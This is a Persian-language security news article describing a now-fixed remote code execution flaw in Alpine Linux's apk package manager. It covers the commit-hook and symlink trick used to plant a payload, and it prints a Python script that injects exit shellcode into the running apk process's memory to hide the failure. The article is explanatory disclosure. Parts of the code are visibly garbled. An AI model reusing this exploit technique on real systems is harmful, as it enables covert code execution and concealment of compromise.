اجرای کد از راه دور در Alpine Linux

محققی به نام Max Justicz آسیب‌پذیری‌ای را در مدیر بسته (package manager) توزیع Alpine (apk) یافته است که می‌تواند برای اجرای کد از راه دور مورد استفاده قرار گیرد.

 اجرای کد از راه دور در Alpine Linux

محققی به نام Max Justicz آسیب‌پذیری‌ای را در مدیر بسته (package manager) توزیع Alpine (apk) یافته است که می‌تواند برای اجرای کد از راه دور مورد استفاده قرار گیرد.

بسیاری از مواقع، پکیج (بسته)های نرم‌افزاری بدون استفاده از TLS دانلود می شوند و برای بررسی صحت آنها، مدیر بسته پس از دانلود، امضای آنها را بررسی می کند. مدیر بسته apk ابتدا بسته‌های دانلود شده را از حالت فشرده شده خارج می‌کند و سپس امضا را بررسی می‌کند. در صورتی که امضا را نامعتبر تشخیص دهد، فایل‌ها را پاک می‌کند. اما Max روشی کشف کرده است که یک هکر می‌تواند با ارسال بسته نرم‌افزاری جعلی به یک ماشین alpine، کد دلخواه خود را روی آن اجرا کند.

 

روش حمله

مدیر apk دارای قابلیتی به نام commit hook است. بدین وسیله پکیج می‌تواند کدی را فراهم کند تا apk قبل از پایان نصب آن را اجرا کند.

فایل‌ها ابتدا با پسوند .apk-new نافشرده می‌شوند و در انتها اگر امضای بسته نامعتبر باشد، apk آنها را پاک میکند.

مهاجم برای بهره برداری از این آسیب‌پذیری مراحل زیر را طی می‌کند:

– پوشه‌ای /etc/apk/commit_hooks.d/ ایجاد می‌کند (زیرا این پوشه به طور پیش‌فرض وجود ندارد).

– یک symlink با نام دلخواه مثلا link ایجاد میکند که به فایل /etc/apk/commit_hooks.d/x اشاره می کند. این symlink هنگام خروج از فشرده سازی به فایلی با نام link.apk-new تبدیل می شود.

– یک فایل معمولی نیز با همان نام (link) ایجاد می‌کند که آن هم با نام link.apk-new نافشرده می‌شود. در نتیجه، این فایل در محل مورد اشاره symlink یعنی /etc/apk/commit_hooks.d/x نوشته می‌شود.

– پس از این که apk متوجه نادرست بودن امضای بسته می‌شود، سعی می‌کند فایل‌ها و پوشه‌های ایجاد شده را پاک کند که در مورد symlink link.apk-new موفق می‌شود، اما فایل اصلی x باقی می‌ماند، چون پسوند .apk-new ندارد. پوشه /etc/apk/commit_hooks.d/ نیز پاک نمی‌شود، زیرا خالی نیست.

فایل x در واقع حاوی payload مهاجم است و چون در پوشه commit_hooks.d قرار دارد قبل از پایان پردازه apk اجرا می‌شود.

 

Exit Code

از آنجا که apk جعلی بودن بسته را تشخیص داده، exit code غیرصفر بر خواهد گرداند. اما می‌توان قبل از خروج کد، کاری کرد که exit code آن برابر صفر شود. می‌توان با دستکاری سگمنت‌های کد پردازه apk این کار را انجام داد:

 

import subprocess
import re

pid = int(subprocess.check_output([“pidof”, “apk”]))
print(“\033[92mapk pid is {}�33[0m”.format(pid))
maps_file = open(“/proc/{}/maps”.format(pid), “r”)
mem_file = open(“/proc/{}/mem”.format(pid), “w”, 0)
print
(“\033[92mEverything is fine! Please move along…0\33[0m”)

NOP = “90”.decode(“hex”)

# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = “4831ffb83c0000000f05”.decode(“hex”)

# based on https://unix.stackexchange.com/a/6302for
 line in maps_file.readlines():

    m = re.match(r”([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])”, line)
    start = int(m.group(1), 16)
    end = int(m.group(2), 16)
    if “apk” in line and “r-xp” in line:
        mem_file.seek(start)
        nops_len = end  start  len(shellcode)
        mem_file.write(NOP * nops_len)
        mem_file.write(shellcode)

maps_file.close()
mem_file.close()

 

شبه فایل /proc//mem حاوی سگمنت‌های حافظه پردازه با شناسه است و /proc//maps شامل نگاشت‌های آدرس‌های آن. با نوشتن در شبه فایل mem می‌توان محتوای حافظه پردازه را تغییر داد. کد فوق تمام کد سگمنت‌های پردازه apk را میخواند و یک shellcode را در آنها قرار میدهد. اجرای این shellcode باعث صفر شدن exit code میشود.

Alpine این آسیب پذیری را رفع کرده است.

 

 

منبع

کلمات کلیدی